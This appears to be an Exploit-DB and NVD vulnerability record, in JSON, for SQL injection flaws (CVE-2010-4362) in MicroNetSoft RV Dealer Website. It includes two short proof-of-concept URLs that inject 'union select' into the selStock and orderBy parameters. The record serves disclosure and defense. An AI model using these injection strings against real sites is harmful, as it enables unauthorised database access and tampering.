{"id": "EDB-ID:15629", "hash": "02b9d840c81ee4775f1b89ad3fc24929", "type": "exploitdb", "bulletinFamily": "exploit", "title": "MicroNetSoft RV Dealer Website search.asp & showAlllistings.asp - SQL Injection", "description": "MicroNetSoft RV Dealer Website search.asp & showAlllistings.asp - SQL Injection. CVE-2010-4362. Webapps exploit for asp platform", "published": "2010-11-29T00:00:00", "modified": "2010-11-29T00:00:00", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://www.exploit-db.com/exploits/15629/", "reporter": "underground-stockholm.com", "references": [], "cvelist": ["CVE-2010-4362"], "lastseen": "2016-02-01T22:12:55", "history": [], "viewCount": 4, "enchantments": {"score": {"value": 6.6, "vector": "NONE", "modified": "2016-02-01T22:12:55"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2010-4362"]}], "modified": "2016-02-01T22:12:55"}, "vulnersScore": 6.6}, "objectVersion": "1.4", "sourceHref": "https://www.exploit-db.com/download/15629/", "sourceData": "TITLE: MicroNetSoft RV Dealer Website Two SQL Injection Vulnerabilities\r\nPRODUCT: MicroNetSoft RV Dealer Website\r\nPRODUCT URL: http://www.micronetsoft.com/store/scripts/prodView.asp?idproduct=77\r\nRESEARCHERS: underground-stockholm.com\r\nRESEARCHERS URL: http://underground-stockholm.com/\r\n\r\nSQL INJECTION BUGS:\r\n\r\nhttp://[host]/[path]/search.asp?selStock=x%27%20union%20selecta\r\nhttp://[host]/[path]/showAlllistings.asp?orderBy=union\r\n", "osvdbidlist": ["69581", "69580"], "_object_type": "robots.models.exploitdb.ExploitDbBulletin", "_object_types": ["robots.models.exploitdb.ExploitDbBulletin", "robots.models.base.Bulletin"]}

{"cve": [{"lastseen": "2019-05-29T18:10:32", "bulletinFamily": "NVD", "description": "Multiple SQL injection vulnerabilities in MicroNetsoft RV Dealer Website allow remote attackers to execute arbitrary SQL commands via the (1) selStock parameter to search.asp and the (2) orderBy parameter to showAlllistings.asp.", "modified": "2011-04-09T03:31:00", "id": "CVE-2010-4362", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4362", "published": "2010-12-01T16:06:00", "title": "CVE-2010-4362", "type": "cve", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}]}